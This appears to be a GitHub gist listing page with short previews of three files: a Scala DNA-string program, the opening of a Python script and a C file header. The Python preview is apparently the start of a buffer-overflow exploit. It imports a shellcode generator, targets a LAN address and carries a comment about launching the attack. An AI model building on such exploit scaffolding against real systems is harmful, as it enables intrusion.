This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.util.Scanner | |
object Boot extends App { | |
implicit def fromStringToCharArray(s: String) = s.toCharArray | |
val alphabet = "ACGT"; | |
val scanner = new Scanner(System.in) | |
val line = scanner.nextLine | |
var fn = "A" * (line.length + 1) // Initialize the string with the most probable string | |
for (c <- alphabet) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# -*-coding: utf-8 -*- | |
import socket | |
import sys | |
import time | |
from buffer_generator import BufferGenerator, SHELL_CODE | |
TCP_IP = "192.168.2.7" | |
TCP_PORT = int(sys.argv[1]) | |
# Il faut charger l'attaque sur un autre ordinateur |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// | |
// Created by Marouane BENALLA on 07/10/2016. | |
// | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <unistd.h> | |
/* Main function | |
*/ |